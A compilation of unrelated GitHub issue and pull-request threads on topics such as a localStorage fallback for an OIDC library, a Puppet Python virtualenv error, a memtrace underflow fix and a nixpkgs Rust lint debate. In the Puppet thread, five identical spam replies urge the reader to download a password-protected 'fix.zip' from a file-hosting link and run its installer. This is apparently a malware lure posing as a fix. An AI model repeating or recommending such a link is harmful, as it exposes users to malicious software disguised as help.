Error if localStorage access is denied in Firefox

I'm currently using Firefox v68.0.1 and have the option dom.storage.enabled=false in about:config to simulate disabled access to localStorage.
When I'm using the library I get the following error from Firefox:
TypeError: this._store is null

If access to localStorage is enabled, everything works as expected. I think this is a bug and there should be a fallback if access to localStorage is denied.
I've not tried with Safari yet, but there could be the same issue because they deny access to localStorage if in private browsing mode.

If access to localStorage is enabled, everything works as expected. I think this is a bug and there should be a fallback if access to localStorage is denied.

If storage is disabled, there's not much we can do. We need storage across the OIDC request/response.

There are some libraries which do check for localStorage access and use a fallback if necessary (e.g. cookies).
Here are some popular examples:
https://github.com/marcuswestin/store.js
https://www.npmjs.com/package/local-storage-fallback
I would appreciate if you could consider using a fallback because basically if localStorage access is denied that means that currently this whole (pretty awesome) library becomes kind of useless and we cannot support authentication for users who are in private browsing mode.

I don't have any free time to work on this. If either of your companies feels this is important enough to sponsor, then contact me.

I think I could help with this. Would you accept a PR for this or would you prefer sponsoring?
I don't want to waste my time if PRs are not welcome anyway.

following.

Can you propose what a cookie-based storage implementation would look like?

Yes, basically it should be really simple. All we need to do is to exchange the this._store calls in WebStorageStateStore.js.
So I would do the following:

Use store.js library
Bind to a variable in WebStorageStateStore.js
Replace the 3 calls to this._store

E.g:
var store = require('store'); // import library

export class WebStorageStateStore {
constructor({prefix = "oidc."} = {}) {
    this._prefix = prefix;
}

set(key, value) {
    Log.debug("WebStorageStateStore.set", key);

    key = this._prefix + key;

    store.set(key, value); // we use this instead of this._store.setItem(key, value);

    return Promise.resolve();
}

@brockallen Another approach would be to add a configurable field where you could pass in your own Storage implementation, so each user could adjust the storage as they need to.

Update; we found a solution in your code which already works to override the default storage implementation:
const userManager = new UserManager({
    ...config,
    userStore: new WebStorageStateStore({
      store: myCustomLocalStorageImpl
    })
});

To me it's kinda weird that no one of the owner/maintainers knew this solution ...
cc @cternes, @brockallen

To me it's kinda weird that no one of the owner/maintainers knew this solution ...

The issue didn't ask how to override, per-se. It requested that the default be changed. Also, the docs do mention that it can be replaced. Anyway, glad you have a workaround.

@janbiasi
Running into the same issue.  Did you have to override the stateStore as well as the userStore?


Infrastructure support for windows

Current coverage is 6.68%

Merging #10 into master will increase coverage by +0.61% as of 7667aef

@@            master    #10   diff @@
=====================================
  Files           40     40
  Stmts         2717   2737    +20
  Branches         0      0
  Methods          0      0
=====================================
+ Hit            165    183    +18
  Partial          0      0
- Missed        2552   2554     +2

Review entire Coverage Diff as of 7667aef

Powered by Codecov. Updated on successful CI builds.


showing images in the canvas keyframe

Hi , This is a fantastic useful library.
I wonder if it is possible to add images to the timeline as below ? please help with one simple example

Hello @khanzzirfan,
Unfortunately I have no much time to support this component at the moment.
I would imagine that canvas drawImage can be used during the row renderer call (See _renderRows from timeline.ts).
Images can be passed as a collection or rendered using some kind of call back to override and extend render row function (can be part of the options as an example),
To avoid flickering images should be persistent during the render function call (should be created and added to the collection outside of renderer execution). On image loaded even component 'redraw' can be called.
P.s. I have updated dev dependencies so debugger works again and also last row has different height to match picture above.

Hi @ievgennaida  Thanks for the reply.  I just re-created same code using react-konva/ konvajs library, A basic version of yours library. This is really helpful now.  Here is sandbox if someone wants to have look at  it.
https://codesandbox.io/s/videoscrubber-react-konva-y4yjm


language-mql5.cson: Duplicate key '.source.mql5'

I got an error about ".source.mql5" was duplicate and fixed it by commenting this line. Please take a look.
Error message:
Failed to load snippets from 'C:\Users\Oscar Blanco.atom\packages\language-mql5\snippets\language-mql5.cson'
.atom\packages\language-mql5\snippets\language-mql5.cson: Duplicate key '.source.mql5'

Duplicate line:
https://github.com/PsychoDevThailand/language-mql5/blob/3060ad78fb3ea4c2a5dee837b5118c4781f91f02/snippets/language-mql5.cson#L77

Same issue is with me. 🥇

now, I have fixed it by renaming the key in language-mql5.cson file

Same error here, solved it removing this line https://github.com/PsychoDevThailand/language-mql5/blob/master/snippets/language-mql5.cson#L77

@PsychoDevThailand Do you think removing this line is enough?

Same here. I removed it and worked for me. Merge ?!


GLM matrice * vector

Rotation matrix:
|1 2 3 |
|4 5 6 |
|7 8 9 |
Vector:
(1,1,1)
Result:
(12, 15, 18)
Need a transposition

glm is column oriented
Can be fixed with :
V * R instead of R * V [ (R*V).T = V.T * R.T]


Virtual Envrionment Configuration not working

Affected Puppet, Ruby, OS and module versions/distributions

Puppet: 2023.7.0
Ruby: 3.0.2p107
Distribution: Ubuntu 22.04
Module version: 7.3.0

The example at /examples/pyvenv.pp does not work. It gives the error Evaluation Error: Error while evaluating a Resource Statement, Class[Python]: parameter 'pip' expects a match for Python::Package::Ensure = Enum['absent', 'installed', 'latest', 'present'], got Boolean. It appears as if this needs to be updated to be absent.
However, I still cannot get this to work properly. After changing it to absent I get errors:
Applied catalog in   2.95 seconds
--
Dependency   Exec[python_virtualenv_/opt/ansible] has failures: true
Skipping because of failed dependencies
change from 'notrun' to ['0'] failed:   'python3.10 -m venv --clear     /opt/ansible && /opt/ansible/bin/pip --log   /opt/ansible/pip.log install --upgrade pip && /opt/ansible/bin/pip   --log /opt/ansible/pip.log install --upgrade setuptools' returned 1 instead   of one of [0] (corrective)

Failing command:   /opt/ansible/bin/python3.10
You may need to use sudo with that   command.  After installing the   python3-venv
package, recreate your virtual   environment.
'python3.10 -m venv --clear   /opt/ansible &&   /opt/ansible/bin/pip --log /opt/ansible/pip.log install --upgrade pip   && /opt/ansible/bin/pip --log /opt/ansible/pip.log install --upgrade   setuptools' returned 1 instead of one of [0]

apt install python3.10-venv
The virtual environment was not created   successfully because ensurepip is not
available.  On Debian/Ubuntu systems, you need to   install the python3-venv
package using the following command.
Applying configuration version   'puppet01-development-3a54f1279d2'
Caching catalog for   orcastra01-dev.makerland.xyz
Catalog compiled by   puppet01.makerland.xyz
Requesting catalog from   puppet01.makerland.xyz:8140 (<IP_ADDRESS>)
Loading facts
Retrieving plugin
Retrieving pluginfacts
Using environment 'development'

ChatGPT tells me this is likely because the venv module is not installed. Indeed, it is not installed. Even when I set venv => 'present' on the Python class, it doesn't seem to realize automatically it needs to install venv first because the error is the same. I've tried require => Class['python'] but it won't find the reference.
Here is the code I used:
 class { 'python':
    pip     => 'absent',
    version => 'system',
  }

  python::pyvenv { '/opt/ansible':
  }

  python::pip { 'ansible':
    ensure     => 'latest',
    virtualenv => '/opt/ansible',
  }

Not sure what to try next. Any advice appreciated.
Charles

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Cost of SIT details presented on Page 2

Jira ticket for this change
Summary
This shows the Service Counselor a PPM's SIT details on Page 2. The component is available in Storybook as SIT Cost Details.
NB: the SIT Cost calculation is not yet being made.
Setup to Run Your Code

💻 You will need to use three separate terminals to test this locally.
Terminal 1
Start the Storybook locally.
make storybook

Terminal 2
Start the UI locally.
make client_run

Terminal 3
Start the Go server locally.
make server_run

Additional steps

Access the office app
Login as a Service Counselor
Use the PPMSC1 move, or a move with a PPM
Fill in some SIT details on Page 1
Note that the block displays the correct information on Page 2 (NB: the actual SIT Cost is not yet being calculated.)

Verification Steps for Author
These are to be checked by the author.

[ ] Tested in the Experimental environment (for changes to containers, app startup, or connection to data stores)
[ ] Request review from a member of a different team.
[ ] Have the Jira acceptance criteria been met for this change?

Verification Steps for Reviewers
These are to be checked by a reviewer.

Frontend

[ ] User facing changes have been reviewed by design.
[ ] There are no aXe warnings for UI.
[ ] This works in Supported Browsers and their phone views (Chrome, Firefox, IE, Edge).
[ ] There are no new console errors in the browser devtools
[ ] There are no new console errors in the test output
[ ] If this PR adds a new component to Storybook, it ensures the component is fully responsive, OR if it is intentionally not, a wrapping div using the officeApp class or custom min-width styling is used to hide any states the would not be visible to the user.

Backend

[ ] Code follows the guidelines for Logging
[ ] The requirements listed in Querying the Database Safely have been satisfied.

Database
Any new migrations/schema changes:

[ ] Follows our guidelines for Zero-Downtime Deploys
[ ] Have been communicated to #g-database
[ ] Secure migrations have been tested following the instructions in our docs

Screenshots

Warnings

:warning:
Please add the JIRA issue key to the PR title (e.g. MB-123)

  Generated by :no_entry_sign: dangerJS against 77b421472d644ab2bf388aaa6d247b67ac35ea9f

@scarequotes I updated the copy and fixed the origin/destination ZIP toggle. I also updated the Storybook link above. Feel free to take another look.

@felipe-lee I had hard-coded the ID but neglected to add it to the PR. It's there now!

@felipe-lee I had hard-coded the ID but neglected to add it to the PR. It's there now!

Ah, nice! One other one that can be good is to have one for the MTOShipment because that one gets used in the URL, but it's not a blocker.


windesheimflevoland.txt

@JLobato93 I am sorry for a delay with processing your request. Pull request merged. Thank you!


Address inspection hints

Please have a look at the individual commit messages for the details.

Thanks for the contribution @sschuberth


character disappearing

My character disappears in closed rooms, e.g. instances, buildings, under bridges. This happens when I use dxvk and when I don't use it. I tried reinstalling gpu drivers and this addon but it doesn't help.

This is a game bug that occurs if you have too much FPS.
Enable V-sync or, if you're using DXVK, lock the framerate by editing dxvk.conf:
d3d9.maxFrameRate = 120 # or 144, 165, etc

Enabling V-sync worked for me.  Thanks


Update/Add Python 3.12

Tool name
Python 3
Tool license
https://github.com/python/cpython/blob/main/LICENSE
Add or update?

[ ] Add
[X] Update

Desired version
3.12
Approximate size
No response
Brief description of tool
Python 3.12 was added in the Ubuntu 20231005.3.0 image but 20231016.1.0 (via #8510) removes it, going back to 3.11.x.
Creating an issue to track so we can understand the reason for the revert and when we can expect 3.12 to be pre-installed in the images again.
URL for tool's homepage
https://www.python.org/
Provide a basic test case to validate the tool's functionality.
No response
Platforms where you need the tool

[X] Azure DevOps
[X] GitHub Actions

Runner images where you need the tool

[X] Ubuntu 20.04
[X] Ubuntu 22.04
[X] macOS 11
[X] macOS 12
[X] macOS 13
[X] Windows Server 2019
[X] Windows Server 2022

Can this tool be installed during the build?
Yes

Tool installation time in runtime
No response
Are you willing to submit a PR?
No response

we'll have a look, thanks

we got python 3.12 added back and it should be released by the end of next week (current images are deployed without that exact commit)


Bluetooth: Make use of Z_STRUCT_SECTION_ITERABLE

retest

@jhedberg this one seems to have failed with the regression on the gatt test.

Closed and reopened to run shippable again. Gatt test is fixed in master.


fixfix external catalog cannot use db

Proposed changes
Issue Number: close #xxx
Problem summary
1.create CATALOG jdbc_mysql3
2.create user a
3.GRANT SELECT_PRIV ON jdbc_mysql3.. TO 'a'@'%';
4.use a login
5.switch jdbc_mysql3
6.use sys(one database in jdbc_mysql3)

Describe your changes.
when check db priv ,use current catalog instead of internal catalog
Checklist(Required)

Does it affect the original behavior:

[x] Yes
[ ] No
[ ] I don't know

Has unit tests been added:

[ ] Yes
[x] No
[ ] No Need

Has document been added or modified:

[ ] Yes
[x] No
[ ] No Need

Does it need to update dependencies:

[ ] Yes
[x] No

Are there any changes that cannot be rolled back:

[ ] Yes (If Yes, please explain WHY)
[x] No

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

TeamCity pipeline, clickbench performance test result:
the sum of best hot time: 34.94 seconds
load time: 527 seconds
storage size:<PHONE_NUMBER>3 Bytes
https://doris-community-test-1308700295.cos.ap-hongkong.myqcloud.com/tmp/20230131015707_clickbench_pr_87378.html


Enhance Subtitle Array in InfoListItem

Describe the desired behavior
Current subtitle array only works with strings.
Describe the current behavior
Allow a user to pass in more than just a string array[].
Maybe also expand the [title] and [subtitle] to accept .
Is this request related to a current issue?
No
Additional Context
Add any other context or screenshots about the feature request here.
No

Should we let subtitle accept ng-content?

Closing due to #52


Cluster lifecycle management

Kurator should support cluster lifecycle(creation, upgrade, scale) management.
First need to support k8s cluster creation on following cases:

existing infra, existing nodes
cloud provider with infra(node, vpc, volume, etc) creation on the fly

add doc for cluster operator, https://github.com/kurator-dev/kurator/pull/101#discussion_r1022229982


new(ci): push docker images to ghcr.

WIP until we've got a nwe self-hosted runner associated with the kernel-testing repository (right now, the self-hosted is only available for libs repo).

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale

/remove-lifecycle stale

Build is failing because :

2023-12-06T10:23:58.0504130Z ERROR: failed to solve: failed to register layer: write /usr/lib64/libstdc++.so.6.0.29: no space left on device

I think we need more disk space from actuated.dev nodes.

/hold

There are multiple issues still since lots of distros killed headers packages that we were using (ie: they are not present anymore in their repos).

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, therealbobo
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP,therealbobo]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

Still failing: arm64:
FAIL: ghcr.io/falcosecurity/kernel-testing/fedora-kernel:6.2-aarch64-7724324758
FAIL: ghcr.io/falcosecurity/kernel-testing/oraclelinux-kernel:5.15-aarch64-7724324758

Arm64 should be all ok; we are having issues with the actuated arm64 node:
2024-01-31T15:39:33.0685388Z #3 ERROR: failed to copy: httpReadSeeker: failed open: failed to do request: Get "http://<IP_ADDRESS>:5000/v2/library/fedora/manifests/sha256:3f01c8f79691df76331cb4bb0944794a60850475e859c15e49513fcbe0a3d88a?ns=docker.io": dial tcp <IP_ADDRESS>:5000: connect: connection refused

/unhold
We are finally ready!

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, therealbobo
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP,therealbobo]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: FedeDP, therealbobo
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [FedeDP,therealbobo]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Fix race that causes auto port forwarding setting to be ignored

Fixes https://github.com/microsoft/vscode-remote-release/issues/5208

The reason this is a problem now and didn't used to be a problem is that in some cases we now leave proc port detection on, even when auto port forwarding is turned off, so that the process information can be added to the ports view.


memtrace: Fix underflow when stack_depth < FRAMES_TO_SKIP

Issue #, if available: N/A
Description of changes:
An underflow occurs on line 160 when stack_depth is smaller than FRAMES_TO_SKIP (i.e., stack_depth = 1). This occurs on riscv64 where the library fails to obtain a valid trace, which is a separate issue.
                memcpy(
                    (void **)&stack->frames[0],
                    &stack_frames[FRAMES_TO_SKIP],
                    (stack_depth - FRAMES_TO_SKIP) * sizeof(void *)); // <-- underflow

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

I applied your patch and I still got a slightly different test failure when building on and targeting riscv64-linux-gnu. Is this related or another issue?
270/388 Test #257: test_memtrace_stacks .................................................Subprocess aborted***Exception:   0.62 sec
Fatal error condition occurred in /home/oxa/tmp/aws-c-common-build/source/source/memtrace.c:207: stack_item
Exiting Application
################################################################################
Stack trace:
################################################################################

Yes, that test needs to be skipped at the moment since memtrace cannot obtain a valid trace on riscv64. See https://github.com/zhaofengli/nixpkgs/commit/9e7cbec888e2817f64df9913362f941e59c7e0be

Yes, that test needs to be skipped at the moment since memtrace cannot obtain a valid trace on riscv64. See zhaofengli/nixpkgs@9e7cbec

That's unfortunate. Could you elaborate the issue of backtrace? Is that something related to DWARF info?

Yes, that test needs to be skipped at the moment since memtrace cannot obtain a valid trace on riscv64. See zhaofengli/nixpkgs@9e7cbec

That's unfortunate. Could you elaborate the issue of backtrace? Is that something related to DWARF info?

Sorry, I haven't had a chance to peel off the abstractions and look at that part yet.


Update RIOS to 1.4.10

Checklist

[ ] Used a fork of the feedstock to propose changes
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Contains fixes for GDAL 3.0 issues we discovered after 1.4.9 was released.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

conda-forge-admin, please rerender


The yaml format spec is not working

I have been using the yaml format spec and after the new release it seemed broken. I can replicate it with your example in test/testdata/specs/iso_specs.yaml and that did not work as well.
To replicate it, you go to the server page, load an existing definition, then you will notice the message types will not show up in the loaded definition. If you use "Msg selector" same issue will happen. It works fine with test/testdata/specs/isoSpecs.spec though.

Sorry looks like the issue is related to browser storage. After I clear my browser storage, things seem to be normal again.

Can you try changing the spec to a another spec and then go back to the original spec again? And then load a definition. The issue was that messages were getting loaded only on spec change.  I thought I had fixed this one..Let me know if it goes away.

Closing these for now, please open if needed.

I have just tested the latest version v0.10.0, and this issue does not seem to exist anymore.
I also noticed you incorporated 4E and 4I into the simulator, which is a great help for me, thank you so much!


REPL option to see claim

Fixes #1657
Reviewer checklist

[ ] Test coverage: stack test --coverage
[ ] Public API documentation: stack haddock

I'm thinking about replacing

The commands which output K have similar names to their KORE outputting counterparts, e.g. konfig instead of config or ktry instead of try. See the kast.kscript for the full list of K commands.

with

The commands which output K have similar names to their KORE outputting counterparts, e.g. konfig instead of config or ktry instead of try. Some can be sufixed with -n, -d or -nd for specifying the argument, the directory or both, respectively. See the kast.kscript for the full list of K commands.

Some can be suffixed with -n, -d or -nd for specifying the argument, the directory or both, respectively.

This is good; it would be better to say exactly which commands accept those options.

Some can be suffixed with -n, -d or -nd for specifying the argument, the directory or both, respectively.

This is good; it would be better to say exactly which commands accept those options.

how about

The commands which output K have similar names to their KORE outputting counterparts, e.g. konfig instead of config or ktry instead of try. Some can be suffixed with -n, -d or -nd for specifying the argument, the directory or both, respectively.
kcliam, konfig, krule : don't require the argument for their counterparts; can be suffixed with -n, -d or -nd
kaxiom, ktry, ktryf : require the argument for their counterparts; can be suffixed with -d
See the kast.kscript for the full list of K commands.

Sounds good!


Country by Sex figures included twice in final CSV df

E.g England Males unpaid family workers is in the final CSV twice -- Fixing this now

Fixed using distinct() on all_data df


Updated validations.py python script.

Updated validations.py python script
Fixed the behavior of validate_user function in validation.py.
Fixes #<issue_number_goes_here>

It's a good idea to open an issue first for discussion.

[ ] Tests pass
[ ] Appropriate changes to README are included in PR

@googlebot I signed it!


Support target discovery in the same kubernetes namespace with prometheus pod without explicit namespace config

Proposal
Support target discovery in the same kubernetes namespace with prometheus pod without explicit namespace config
With this feature, we can use the same prometheus config when deploying prometheus in different kubernetes namespace.
The namespace can be got from /var/run/secrets/kubernetes.io/serviceaccount/namespace file.
An config item need to be added, and the config file may be like following.
    scrape_configs:
     - job_name: 'kubernetes-pods'
       kubernetes_sd_configs:
        - role: pod
          in_cluster_namespace: true

I think this generally makes sense. We do already have the namespaces configuration field, which has a nested object so we could do something like:
namespaces:
  own: true

And make it mutually exclusive with the names sibling.

Since namespaces is a list of strings, could we use an invalid namespace ID as "magic" value? e.g.
namespaces: [.]

(I would not make it exclusive)
Precedent: in alertmanager, we also have a special dottet notation that uses dots for labels: group_by: [...]


New API version for SKU's to support extended locations

MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Changelog
Please ensure to add changelog with this PR by answering the following questions.

What's the purpose of the update?

[ ] new service onboarding
[x] new API version
[ ] update existing version for new feature
[ ] update existing version to fix swagger quality issue in s360
[ ] Other, please clarify

When you are targeting to deploy new service/feature to public regions? Please provide date, or month to public if date is not available yet.
When you expect to publish swagger? Please provide date, or month to public if date is not available yet.
If it's an update to existing version,  please select SDKs of specific language and CLIs that require refresh after swagger is published.

[ ] SDK of .NET (need service team to ensure code readiness)
[ ] SDK of Python
[ ] SDK of Java
[ ] SDK of Js
[ ] SDK of Go
[ ] PowerShell
[ ] CLI
[ ] Terraform
[ ] No, no need to refresh for updates in this PR

Contribution checklist:

[x] I commit to follow the Breaking Change Policy of “no breaking changes
[x] I have reviewed the documentation for the workflow.
[x] Validation tools were run on swagger spec(s) and errors have all been fixed in this PR. How to fix?

If any further question about AME onboarding or validation tools, please view the FAQ.
ARM API Review Checklist

[x] Ensure to check this box if one of the following scenarios meet updates in the PR, so that label “WaitForARMFeedback” will be added automatically to involve ARM API Review. Failure to comply may result in delays for manifest application. Note this does not apply to data plane APIs, all “removals” and “adding a new property” no more require ARM API review.

Adding new API(s)
Adding a new API version
Adding a new service

[ ] Please ensure you've reviewed following guidelines including ARM resource provider contract and REST guidelines. Estimated time (4 hours). This is required before you can request review from ARM API Review board.

[ ] If you are blocked on ARM review and want to get the PR merged with urgency, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.

Breaking Change Review Checklist
If there are following updates in the PR, ensure to request an approval from API Review Board as defined in the Breaking Change Policy.

[ ] Removing API(s) in stable version
[ ] Removing properties in stable version
[ ] Removing API version(s) in stable version
[ ] Updating API in stable version with Breaking Change Validation errors
[ ] Updating API(s) in preview over 1 year

Action: to initiate an evaluation of the breaking change, create a new intake using the template for breaking changes. Addition details on the process and office hours are on the Breaking change Wiki.
Please follow the link to find more details on PR review process.

Added new API version 2020-10-01 for SKU's to support extended locations.
Specs:
ARM Edge Location Design

@viananth @DwayneNeed @srinath9795

There was a merge conflict in the read me file. A package tag with "package-2020-10-01-preview" was added. Since the new api version I added was for "2020-10-01" too, I created another tag with "package-2020-10-01" and added the preview file too. Please let me know if there are any concerns having the package tag with same day.

I just wanted to check if the example response is accurate.

@DwayneNeed I just wanted to check if the example response is accurate. In the example files "ListAvailableResourceSkusWithExtendedLocations.json", can you check if the response with extended locations is accurate?

the locations[] array and the locationInfo[] are mutually exclusive, right?  If both are specified, I think locationInfo[] wins.
looks right, assuming:
Standard_A0 - westus
Standard_A1 - westus, westus/Los Angeles, westus/San Diego

/azp run

/azp run

There are still some discussions going around with the contract. Please do not merge these changes.


Fix no-undef and no-extra-semi warnings

Proposed Changes
Fix no-undef and no-extra-semi warnings in BotBuilder Tools JS
Testing
Travis will no longer report these warnings

Pull Request Test Coverage Report for Build 365

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 63.856%

Totals

Change from base Build 353:
0.0%

Covered Lines:
3187

Relevant Lines:
4750

💛  - Coveralls


NEXT-00000 - Add fragment path snippet to url whitelist

1. Why is this change necessary?
Currently there is an error when trying to open the symfony profiler because it calls a url containing the snippet /_fragment and the Storefront RequestTransformer does not have this as part of its allowlist.
2. What does this change do, exactly?
Add the /_fragment url-snippet to the allowlist.
3. Describe each step to reproduce the issue or behaviour.
Open the symfony profiler.
4. Please link to the relevant issues (if any).
N/A
5. Checklist

[x] I have rebased my changes to remove merge conflicts
[x] I have written tests and verified that they fail without my change
[x] I have created a changelog file with all necessary information about my changes
[x] I have written or adjusted the documentation according to my changes
[x] This change has comments for package types, values, functions, and non-obvious lines of code
[x] I have read the contribution requirements and fulfil them.

thanks for your contribution @Benedikt-Brunner 👍🎉💙


"arrow_right:" should be "➡ "

2 "arrow_right" exists on the section "Teams とチャネルの構造", https://docs.microsoft.com/ja-jp/microsoftteams/migrate-slack-to-teams#team-and-channel-structure, but they should be "➡".

ドキュメントの詳細
⚠ このセクションを編集しないでください。 docs.microsoft.com で必須です ➟ GitHub の問題のリンク。

ID: 7a81e1e5-3fd5-ff19-4f13-30bc2dd4389e
Version Independent ID: e90e3618-95e7-7dc6-d020-2d0f75fcb6ff
Content: Slack から Microsoft Teams に移行する - Microsoft Teams
Content Source: Teams/migrate-slack-to-teams.md
Service: msteams
GitHub Login: @LolaJacobsen
Microsoft Alias: lolaj

@bsdmad Thank you for submitting feedback and contributing to the docs. We are currently investigating this.

Hi @bsdmad, thank you for your feedback.
Could you kindly let me know if it´s happening in the English version too, or only in the Japanese version?
Thanks!

Could you kindly let me know if it´s happening in the English version too, or only in the Japanese version?

Oh, it seems to happen ONLY in the Japanese version! I confirmed this issue does not happen with  "英語で読む" toggle switch as on, placed on the top right.

Hi @OfficeGlobal,
Could you kindly help with this issue? Thanks!

@bsdmad arrows fixed and displayed properly

I've confirmed they are correct. Thanks!


Updating query for the CrashloopBackOff recommended monitor

What does this PR do?

Updates the CrashloopBackOff recommended monitor by adding the default_zero() function
Motivation

A change that has been recommended by the Monitors team, see more information in this escalation: https://datadoghq.atlassian.net/browse/CONS-5639?focusedCommentId=1129240
Additional Notes

Review checklist (to be filled by reviewers)

[ ] Feature or bugfix MUST have appropriate tests (unit, integration, e2e)
[ ] PR title must be written as a CHANGELOG entry (see why)
[ ] Files changes must correspond to the primary purpose of the PR as described in the title (small unrelated changes should have their own PR)
[ ] PR must have changelog/ and integration/ labels attached
[ ] If the PR doesn't need to be tested during QA, please add a qa/skip-qa label.

Merging as it is approved by the container-integrations team


[deprecation]: privileged start command

https://github.com/apocas/dockerode/blob/976fe4ca205a4f48cd8628f7daf796af8017c705/examples/build/run.js#L34
this gives me error Error: (HTTP code 400) unexpected - starting container with non-empty request body was deprecated since v1.10 and removed in v1.12

Fixed https://github.com/apocas/dockerode/commit/8a3e780799cbba3f1af75be2fe9eea4bb4e5246a

thanks.


rustPlatform.cargoSetupHook: allow all lints

We've had multiple occurrences of packages that don't compile after a rustc bump due to new lints. Let's stop this once and for all, by using rustc's lint capping feature 0.
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[x] aarch64-darwin, nix-build -A fd

[x] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Maybe "allow all lints when compiling" is better.

Maybe "allow all lints when compiling" is better.

+1 for me, but does that mean it would have to be in all of cargoBuildHook, cargoCheckHook and cargoNextestHook?

I'm operating under the assumption that people will be dragging in cargoSetupHook if they're doing anything else -- is that a bad assumption?

no I think the assumption is good, I thought you were worried that having this in cargoSetupHook will allow all lints even when not compiling

Another worry I have is this might overwrite rustflags settings in the toml config, see #221413

no I think the assumption is good, I thought you were worried that having this in cargoSetupHook will allow all lints even when not compiling

Oh, I was just talking about the commit message, hence the quotes.
cc @alyssais for the TOML stuff -- should we be setting this somewhere else?

Not a fan of this.

We've had multiple occurrences of packages that don't compile after a rustc bump due to new lints.

Could you paste some links of them?
To me,

deny-by-default lints usually mean unexpected or (accidentally stabilized) undefined behavior, which should be seen as alerts for behavior bugs. If this occurs, we need to investigate the particular issue and probably patch related code.
Suppressing them by default loses the chance to catch issues during auto-update build tests.
RUSTFLAGS's priority is too high and can break other project specific setup, as mentioned, #221413
#![deny(warnings)] is already an anti-pattern and should be unusual.

We've had multiple occurrences of packages that don't compile after a rustc bump due to new lints.

Could you paste some links of them?

See all the cherry-picked commits in https://github.com/NixOS/nixpkgs/pull/213287 as an example, and I know @vcunat sees this regularly.

Is there a way we could disable #![deny(warnings)] without disabling the deny-by-default lints @oxalica mentions?  If we could, then I think that would be cool.
Regardless, we definitely shouldn't use RUSTFLAGS to do it, but maybe there's some other way we could do it.  And we could definitely do it when we have the much-anticipated Rust compiler wrapper that everybody seems to have accepted is coming eventually.

what would our ideal situation be?

I'm lean towards not ignoring this globally. When we encountering a deny(warnings) bomb, PR the upstream to remove the future-incompatibility friction, by maybe moving it into their CI. If the upstream does not cooperating, we either patch it (just one-line substitution!), or toggle the flag package-wise. In other words, I treat deny(warnings) as an upstream issue, not a packaging issue.


Import "log" for the example

Since the example is using log.Fatalln(err.Error()), it should import log too.

Thanks!


feat(spinner): add fds-spinner component

:tada: This issue has been resolved in version 0.7.0 :tada:
The release is available on:

GitHub release
npm package (@latest dist-tag)

Your semantic-release bot :package::rocket:


Step 1 of the README.md give wrong repo url

Instead of:
git clone https://github.com/Azure-Samples/SinglePageApp-DotNet.git
Shouldn't it be:
git clone https://github.com/Azure-Samples/active-directory-angularjs-singlepageapp.git
?

Yes i noticed this too. will submit a PR for it

Fixed here: #35


